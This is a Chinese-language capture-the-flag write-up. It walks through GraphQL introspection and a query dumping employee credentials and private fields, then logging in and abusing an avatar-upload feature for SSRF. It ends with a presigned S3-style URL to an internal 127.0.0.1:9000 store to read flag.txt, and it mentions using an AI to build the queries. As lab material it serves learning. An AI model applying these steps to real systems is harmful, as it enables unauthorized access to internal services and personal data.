0.前言
我去,deepseek这么厉害,一下就扫出来了,我记得当时线下是可以用AI的,早知道我也去凑个热闹了hhh
这道题其实还挺简单的,主要是目标比较明确吧。
1.信息收集
开局就给了两个

直接访问serve服务是一个登录界面,另一个oss存储访问不了

随便扫了一下发现graphql

2.漏洞利用
然后其实我太了解graphql的查询语句的,然后就去问ds告诉我查询的格式(其实了解了也懒得手打对吗?)
{ __type(name: "Query") { name fields { name } } }

{ employees { __typename } }

然后去拿EmployeeType的所有字段{ __type(name: "EmployeeType") { name fields { name } } }

然后构造查询获取所有的数据信息{ employees { id, name, email, username, private } }

然后去登陆(两个账号都一样没啥区别)
然后我想弄这个内网服务oss已经很久了,现在又拿到了这个账号密码

其实我看到这个更改头像就想着去上传shell去搞这个内网服务,结果测试了一下发现直接可以进行ssrf

1.可能的正常流程(可以跳过hhh
然后感觉本题唯一的难点去构造一下自签名的url吧,不然无法携带账号密码,访问会被拒绝,如下

此时我们去构造自签名的url


http://127.0.0.1:9000/company-assets?list-type=2&encoding-type=url&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=user%2F20260724%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20260724T023508Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=b2b440ae5e67f5ed144c8a9489c293fb07c670a488836d5c81e5932b4b2bfc7e
然后获得一个名为flag.txt的文件

2.这里你可以靠猜测直接拿下flag
这里正常来说flag.txt也应该去构造签名的,但是似乎因为设置问题,不构造签名也能直接获取flag.txt,猜出来的也可以吗hhhhh

获取最终的flag